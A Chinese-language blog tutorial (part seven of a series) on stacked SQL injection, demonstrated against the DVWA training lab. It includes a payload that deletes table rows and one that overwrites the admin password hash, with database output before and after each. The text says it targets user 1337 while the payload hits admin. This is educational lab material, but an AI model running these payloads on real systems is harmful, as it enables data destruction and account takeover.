Web安全之SQL注入漏洞学习（七）-堆叠注入

堆叠注入简介

堆叠注入是指注入的多条SQL语句可以一起执行。MySQL命令行中, 每一条语句结尾加; 表示语句结束。这样是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入原理&局限性

原理

在MySQL的SQL语法中，分号;是用来表示一条sql语句的结束，使用分号结束后可以在写一条SQL语句，若将使用分号分割的两条语句一起发给后端则两条语句都会被执行。

局限

1、堆叠注入需要后端API是否支持多语句执行，数据库引擎是否支持的限制，如果有一个不支持则无法使用

2、如果后端只返回一条数据则在前端是无法查看到第二条注入语句执行结果。

3、使用堆叠注入前也需要知道数据表的信息

堆叠注入比UNION注入更加强大，不仅可以拼接查询语句也可以拼接更新/删除语句。

MySQL语句测试

##例如用户只想查询id为1的数据，但是在输入中携带一条新的语句就可以删除该数据（如果存在堆叠注入漏洞）
##playload为：test5';delete from test where id =1 --

mysql> select *from test;
+------+-------+
| id   | name  |
+------+-------+
|    1 | test1 |
|    0 | test2 |
|    1 | test3 |
|    1 | test4 |
|    1 | test5 |
+------+-------+
5 rows in set (0.00 sec)

mysql> select * from test where name ='test5';delete from test where id =1;
+------+-------+
| id   | name  |
+------+-------+
|    1 | test5 |
+------+-------+
1 row in set (0.00 sec)

Query OK, 4 rows affected (0.00 sec)

mysql> select *from test;
+------+-------+
| id   | name  |
+------+-------+
|    0 | test2 |
+------+-------+
1 row in set (0.00 sec)

堆叠注入实施

前提条件：

1、已知的支持堆叠注入漏洞

2、已经通过其他方式获取了数据库表的相关信息

漏洞演示平台

DVWA

通过上一篇文章的报错注入可以获取到用户表表结构与表信息，users表内容如下：

MariaDB [dvwa]> select *from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login| failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg   | 2020-07-05
04:34:41 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05
04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2020-07-05
04:34:41 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05
04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05
04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)

构建堆叠注入playload，注入达到的目的是修改1337用户的密码，使用已知的密码进行替换如123456,其md5加密后是：e10adc3949ba59abbe56e057f20f883e

1';update users set password='e10adc3949ba59abbe56e057f20f883e' where user_id =1; --

查看数据中admin用户密码是否已经修改成功，在实际注入中可以直接使用新密码尝试登陆，如果登录成功则密码被成功修改了

##注入前所有用户及密码
MariaDB [(none)]> use dvwa
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [dvwa]> select * from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login          | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg   | 2020-07-05 04:34:41 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05 04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2021-10-10 09:42:25 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05 04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05 04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)

##注入后admin用户密码被成功修改
MariaDB [dvwa]> select * from users;
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                      | last_login          | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin   | e10adc3949ba59abbe56e057f20f883e | /hackable/users/admin.jpg   | 2021-10-10 14:13:47 |            0 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2020-07-05 04:34:41 |            0 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg    | 2021-10-10 09:42:25 |            0 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg   | 2020-07-05 04:34:41 |            0 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg  | 2020-07-05 04:34:41 |            0 |
+---------+------------+-----------+---------+----------------------------------+-----------------------------+---------------------+--------------+
5 rows in set (0.00 sec)

欢迎大家关注我的订阅号，会定期分享一些关于测试相关的文章，有问题也欢迎一起讨论学习！